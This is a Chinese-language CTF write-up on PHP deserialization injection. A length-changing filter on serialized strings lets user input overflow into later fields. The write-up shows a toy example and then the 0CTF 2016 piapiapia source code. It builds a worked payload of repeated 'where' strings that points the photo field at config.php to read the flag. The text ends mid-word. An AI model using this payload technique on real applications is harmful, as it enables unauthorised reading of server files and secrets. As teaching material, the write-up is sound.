從一道ctf看php反序列化漏洞的應用場景
目錄
- 0x00 first
- 0x01 我打我自己之---序列化問題
- 0x02 [0CTF 2016] piapiapia
0x00 first
前幾天joomla爆出個反序列化漏洞,原因是因為對序列化後的字元進行過濾,導致使用者可控字元溢位,從而控制序列化內容,配合物件注入導致RCE。剛好今天刷CTF題時遇到了一個類似的場景,感覺很有意思,故有本文。
0x01 我打我自己之---序列化問題
關於序列化是什麼就不再贅述了,這裡主要講幾個跟安全相關的幾個點。
看一個簡單的序列化
<?php $kk = "123"; $kk_seri = serialize($kk); //s:3:"123"; echo unserialize($kk_seri); //123 $not_kk_seri = 's:4:"123""'; echo unserialize($not_kk_seri); //123"
從上例可以看到,序列化後的字串以"作為分隔符,但是注入"並沒有導致後面的內容逃逸。這是因為反序列化時,反序列化引擎是根據長度來判斷的。
也正是因為這一點,如果程式在對序列化之後的字串進行過濾轉義導致字串內容變長/變短時,就會導致反序列化無法得到正常結果。看一個例子
<?php $username = $_GET['username']; $sign = "hi guys"; $user = array($username, $sign); $seri = bad_str(serialize($user)); echo $seri; // echo "<br>"; $user=unserialize($seri); echo $user[0]; echo "<br>"; echo "<br>"; echo $user[1]; function bad_str($string){ return preg_replace('/\'/', 'no', $string); }
先對一個數組進行序列化,然後把結果傳入bad_str()函式中進行安全過濾,將單引號轉換成no,最後反序列化得到的結果並輸出。看一下正常的輸出:
使用者ka1n4t的個性簽名很友好。如果在使用者名稱處加上單引號,則會被程式轉義成no,由於長度錯誤導致反序列化時出錯。
那麼通過這個錯誤能幹啥呢?我們可以改寫可控處之後的所有字元,從而控制這個使用者的個性簽名。我們需要先把我們想注入的資料寫好,然後再考慮長度溢位的問題。比如我們把他的個性簽名改成no hi,長度為5,在本程式中序列化的結果應該是i:1;s:5:"no hi";,再跟前面的username的雙引號以及後面的結束花括號閉合,變成";i:1;s:5:"no hi";}。見下圖
我們要讓'經過bad_str()函式轉義成no之後多出來的長度剛好對齊到我們上面構造的payload。由於上面的payload長度是19,因此我們只要在payload前輸入19個',經過bad_str()轉義後剛好多出了19個字元。
嘗試payload:ka1n4t'''''''''''''''''''";i:1;s:5:"no hi";}
成功注入序列化字元。前幾天的joomla rce原理也正是如此。下面通過一道CTF來看一下實戰場景。
0x02 [0CTF 2016] piapiapia
首頁一個登入框,別的嘛都沒有
www.zip原始碼洩露,可直接下載原始碼。
flag在config.php中
class.php是mysql資料庫類,以及user model
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
profile.php用於展示個人資訊
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
register.php用於註冊使用者
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
update.php用於更新使用者資訊
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
通過觀察上面的幾個程式碼我們能發現以下幾個線索
1.能讀取config.php或獲得引數$flag的值即可獲得flag。
2.update.php 28行將使用者更新資訊序列化,然後傳入$user->update_profile()存入資料庫。
3.檢視class.php中的update_profile()原始碼,發現底層先呼叫了filter()方法進行危險字元過濾,然後才存入資料庫。
4.profile.php 16行取出使用者的$profile['photo']作為檔名獲取檔案內容並展示。
5.update.php 26行可以看到$profile['photo']的值是'upload'.md5($file['name']),因此線索4中的檔名我們並不可控。
綜合以上5點,再加上本文一開始的例子,思路基本已經出來了,程式將序列化之後的字串進行過濾,導致使用者可控部分溢位,從而控制後半段的序列化字元,最終控制$profile['photo']的值為config.php,即可獲得flag。
這裡關鍵就是class.php中的filter()方法,我們要找到能讓原始字元‘膨脹’的轉義。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
僅從長度變化來看,只有where->hacker這一個轉義是變長了的。回到update.php 28行,我們只要在nickname引數中輸入若干個where拼上payload,經過filter()過濾後剛好讓我們的payload溢位即可。
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
有一點需要注意的是update.php對nickname進行了過濾,不能有除_外的特殊字元,我們只要傳一個nickname[]陣列即可。
下面構造payload,先看看正常的序列化表示式是什麼
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
構造photo值為config.php,並與前後閉合序列化表示式,也就是取出上面kk1之後的所有字元
";}s:5:"photo";s:10:"config.php";}
長度為34,由於filter()是將where變為hacker,增加1位,我們需要增加34位,也就是34個where。payload變成這樣
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
我們把這個作為nickname[]的值傳入,然後序列化的結果應該是
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
經過filter()的轉義變成
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
數一下位數,剛好。
下面傳送payload作為nickname[]的值
更新成功,訪問profile.php檢視個人資訊
成功拿到fla